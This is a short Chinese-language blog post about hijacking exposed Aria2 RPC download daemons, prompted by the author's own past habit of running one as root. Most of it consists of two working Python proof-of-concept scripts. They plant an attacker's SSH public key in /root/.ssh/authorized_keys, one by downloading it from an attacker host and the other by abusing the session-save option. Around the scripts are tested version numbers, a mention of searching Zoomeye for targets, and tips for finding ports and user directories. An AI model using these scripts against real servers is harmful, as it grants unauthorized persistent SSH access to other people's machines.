看了一篇关于 Aria2 的文章 Hacking Aria2 RPC Daemon,想起自己以前也有过在服务器上用 root 随手开 Aria2 RPC 下载东西的行为,不禁擦了把冷汗……

去 Zoomeye 上搜了下 Aria2,大部分搜到的 RPC Daemon 已经挂了,少部分需要验证。不过根据已有的几个成功例子来看,还是很容易中招的。

下面是参考 RicterZ 文章写的两个 PoC:

import xmlrpclib
from pprint import pprint

s = xmlrpclib.ServerProxy("http://victim:6800/rpc")
pprint(s.aria2.addUri(['http://attacker/pulic_key.txt'], {'out': 'authorized_keys', 'dir': '/root/.ssh/'}))

上面的这个 PoC 对低版本的 Aria2 比较好用,亲测在 1.15.1 上成功。但是在测试其他的一些较高版本 Aria2 时无法覆盖掉 authorized_keys,会自动生成 authorized_keys.1 这样的文件,或许是系统原因。
下面用 Aria2 Session 覆盖 authorized_keys 的 PoC 对高版本的 Aria2 比较好用,亲测在 1.27.1 上成功。不过这种方法会让 Aria2 RPC Daemon 挂掉(怀疑那些挂掉的是不是已经被搞过了,哈哈哈)。

import xmlrpclib
from pprint import pprint

pk = "ssh-rsa ..."

s = xmlrpclib.ServerProxy("http://victim:6800/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true", "user-agent": "\n\n" + pk + "\n\n", "save-session": "/root/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/any.txt'], {}))
pprint(s.aria2.shutdown())

值得注意的几点:

  • 可能打开 Aria2 RPC Daemon 的不是 root,运气好的话去 全局设置 里的 dir 可以找到 /home/username 目录。
  • RPC 端口可能不是默认的 6800,在 连接设置 里可以看到端口。
  • 服务器信息 里可以找到 Aria2 的版本信息。

估计服务器上常用来 BT 下载的 Transmission 也会有类似问题。

参考:

Aria2 官方文档